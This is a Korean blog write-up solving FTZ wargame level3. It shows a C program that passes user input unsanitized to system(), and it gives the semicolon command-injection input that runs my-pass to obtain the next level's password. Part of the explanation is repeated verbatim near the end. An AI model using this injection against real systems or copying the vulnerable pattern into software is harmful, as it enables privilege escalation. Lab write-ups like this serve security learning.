FTZ-level3
이번문제는 약간 고민했었습니다. 빠른 시간내에 푼 것도 아니였습니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" ); //dig @문자열을 cmd배열에 넣음
strcat( cmd, argv[1] ); //첫번째 argument를 cmd에 넣음
strcat( cmd, " version.bind chaos txt"); //ver~~문자열을 cmd에 넣음
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
맨 처음 이 문제를
[level3@ftz level3]$ /bin/autodig "/bin/bash"
명령으로 접근을 했다. 왜냐하면 /bin/autodig의 소유자가 level4이기 때문에 /bin/bash로 가서 my-pass명령으로 level4의 password을 알아내려고 했는데 계속 실패를 했다.
왜 실패했는지 찾아보니
strcpy( cmd, "dig @" ); 에서 dig @ 때문에 /bin/autodig를 인자로 주었을 때 @/bin/bash가 되어 명령어인식이 안된 것이였다.
그렇기 때문에
more hints.
- 동시에 여러 명령어를 사용하려면? 세미콜론(;) 사용
- 문자열 형태로 명령어를 전달하려면? 큰따옴표(") 사용
이란 힌트를 준 것같다.
따라서
[level3@ftz level3]$ /bin/autodig "/bin/bash;my-pass" 라 입력하면 패스워드가 나온다.
여기서 [level3@ftz level3]$ /bin/autodig "asnlxcnvoa;my-pass"를 해도 패스워드가 나오게 된다. as~~은 앞의 @때문에 어차피 명령어로 인식을 못하고 뒤에있는 my-pass만 인식하게 되기 때문이다.
- 동시에 여러 명령어를 사용하려면? 세미콜론(;) 사용
- 문자열 형태로 명령어를 전달하려면? 큰따옴표(") 사용
이란 힌트를 준 것같다.
따라서
[level3@ftz level3]$ /bin/autodig "/bin/bash;my-pass" 라 입력하면 패스워드가 나온다.
여기서 [level3@ftz level3]$ /bin/autodig "asnlxcnvoa;my-pass"를 해도 패스워드가 나오게 된다. as~~은 앞의 @때문에 어차피 명령어로 인식을 못하고 뒤에있는 my-pass만 인식하게 되기 때문이다.
0 개의 댓글